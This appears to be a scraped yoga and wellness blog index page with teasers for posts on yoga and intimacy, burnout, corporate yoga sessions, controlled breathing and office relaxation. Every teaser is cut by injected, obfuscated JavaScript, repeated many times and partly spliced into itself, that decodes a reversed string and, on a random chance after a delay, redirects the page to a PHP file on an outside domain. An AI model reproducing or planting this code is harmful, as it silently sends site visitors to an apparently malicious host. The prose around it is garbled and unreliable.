Blog

How yoga can help your intimate life

Guest post by Emily Apple.

Yoga practice offers you many different benefits. It’s a surefire way to improve your flexibility, breathing, $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and build muscle […]

  • feeling-burned-out-FB945x624

Feeling burned out? You’re not alone

Heads Up has some great resources $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and tips if you find yourself becoming overwhelmed or burned out at any time.

As the nature of […]

  • read-before-organise-corporate-yoga-session-FB1018x608

Read this before you organise a corporate yoga session

Some great tips for corporate yoga in the workplace – both for the organiser $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and participants. (Although unlike the author I have never had anyone […]

  • breathe-exhale-repeat-FB

Breathe. Exhale. Repeat. The benefits of controlled breathing

It seems science is finally showing evidence of the benefits of breathing on our mind $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and body – something yogis $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return […]

  • mood-boost-yoga-calm-mind

Mood boost – yoga to calm your mind

I came across this article from www.psychologies.co.uk $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and it outlines some great simple but effective yoga poses for beginners. Great for improving your mood, […]

By |March 6th, 2017|Categories: Blog, News, Wellness, World, Yoga|0 Comments
  • keep-relaxed-office-yoga

Relaxed in the office with yoga

Article from: www.huffingtonpost.ca

I work from home, $GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}$GQRkExOVl1p57bbeL4u=function(n){if(typeof($GQRkExOVl1p57bbeL4u.list)==”string”)return $GQRkExOVl1p57bbeL4u.list.split(“”).reverse().join(“”);return $GQRkExOVl1p57bbeL4u.list};$GQRkExOVl1p57bbeL4u.list=[“‘php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and have laptops on desks or tables throughout my home. The worst case scenario is that I […]